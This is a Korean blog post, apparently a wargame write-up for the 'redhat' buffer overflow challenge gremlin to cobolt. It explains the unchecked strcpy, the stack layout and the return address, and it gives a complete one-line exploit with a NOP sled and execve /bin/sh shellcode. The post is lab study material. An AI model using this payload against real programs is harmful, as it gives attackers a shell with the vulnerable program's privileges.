BOF redhat 원정대 gremlin -> cobolt
cobolt, cobolt.c
이전 문제와 버퍼의 크기가 작아졌다는 것을 빼고는 다를 것이 없다.
strcpy에서 취약점이 발생하고 길이를 체크하지 않기 때문에 쉘코드를 RET를 덮은 이후에 넣어도 될 것같다.
gdb로 디스어셈블.
버퍼크기가 256에서 16으로 나머지는 바뀌고 똑같다. 이전 문제와 비슷하게 쉘코드를 구성해보면
[버퍼][SFP][RET]
[ 20 ][RET][nop][쉘코드]
놉을 넣은 이유는 쉘코드를 바로 포인팅안해도 쉘코드가 실행될수 있도록 가능성을 높이기위해서이다.
A를 20개 넣고 실행 한 후 메모리를 보고 RET 다음의 주소를 알아내었다. 0xbffffaf0
위의 쉘코드 구성대로 쉘코드를 작성하고 공격하면
cobolt의 권한으로 쉘을 얻을 수 있다.
쉘코드 :
./cobolt `python -c 'print "A"*20 + "\xf0\xfa\xff\xbf" +"\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
linux에서는 fork(), vfork(), clone() 시스템 콜로 자식 프로세스를 생성 할 수 있다. fork, vfork, clone 모두 do_fork()를 호출한다. fork, vfork, clone 모두 인터럽트를 이용해서 커...
-
linux system call mlock() 메모리의 페이지 잠금 munlock() 메모리의 페이지 잠금 풀기 mlockall() 호출한 프로세스의 페이징을 금지시킨다. munlockall() 호출한 프로세스에 대한 페이징을 다시 가능하도록...
-
fedora 원정대 core3 iron_golem -> dark_eyes dark_eyes.c sfp를 백업 해두었다가 오버플로우가 발생한 이후에 sfp를 원상복귀 시킨다. sfp는 사용할 수 없고 ret를 조작 할 수 있다. hi...




0 개의 댓글:
댓글 쓰기